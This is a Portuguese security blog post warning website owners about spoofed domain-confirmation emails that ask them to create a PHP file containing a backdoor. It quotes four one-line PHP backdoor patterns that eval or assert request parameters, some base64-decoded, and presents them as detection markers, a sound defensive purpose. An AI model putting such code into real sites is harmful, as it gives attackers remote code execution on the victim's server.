Não confie os e-mails de confirmação falso domínio

English version: Do not trust those fake domain confirmation emails

Recentemente, alguns dos meus clientes receberam estranhas cartas de e-mail de seus registradores de domínio. Essas cartas contêm um pedido de domínios de confirmação próprios. Eu chequei uma daquelas cartas e rapidamente identifiquei como uma carta fraudulenta . Todas as letras têm um padrão idêntico e uma solicitação para criar um arquivo PHP na pasta raiz de um site com um nome específico e o conteúdo fornecido. Escusado será dizer que o conteúdo sugerido para esse arquivo PHP contém código malicioso conhecido como código backdoor. Esse tipo de código permite que o invasor execute qualquer ação que desejar no site da vítima.

Se você receber uma carta de qualquer tipo que solicite a criação, download ou instalação de algum código PHP em seu site, você deve ignorá-lo. Sem exceções. Mesmo que a carta venha do presidente ou da sua mãe.

As cartas fraudulentas parecem legítimas devido ao endereço de email legítimo. Mas é um spoofing de email. Você não espera receber um e-mail falso de seus amigos ou do registrador de domínios. Certo? Não! Qualquer carta de email pode conter qualquer endereço de email. A grande maioria dos servidores de email e clientes de email não verifica ou verifica o endereço do remetente. Então, você vê isso como um hacker queria. Você não deve confiar em nenhuma carta de e-mail recebida do remetente conhecido se a carta contiver uma solicitação para alguma ação suspeita, como a instalação de código em seu site ou aplicativo em seu computador.

Detalhes técnicos

E-mails falsos geralmente contêm algumas das seguintes linhas do PHP.

assert(stripslashes($_REQUEST['something']));

eval(stripslashes($_REQUEST['something']));

assert(base64_decode($_REQUEST['something']));

eval(base64_decode($_REQUEST['something']));

FYI: base64_decode, eval e assert são marcadores bem conhecidos de código PHP suspeito ou malicioso.

Veja também: Plugin Inspector revela problemas de segurança com outros plugins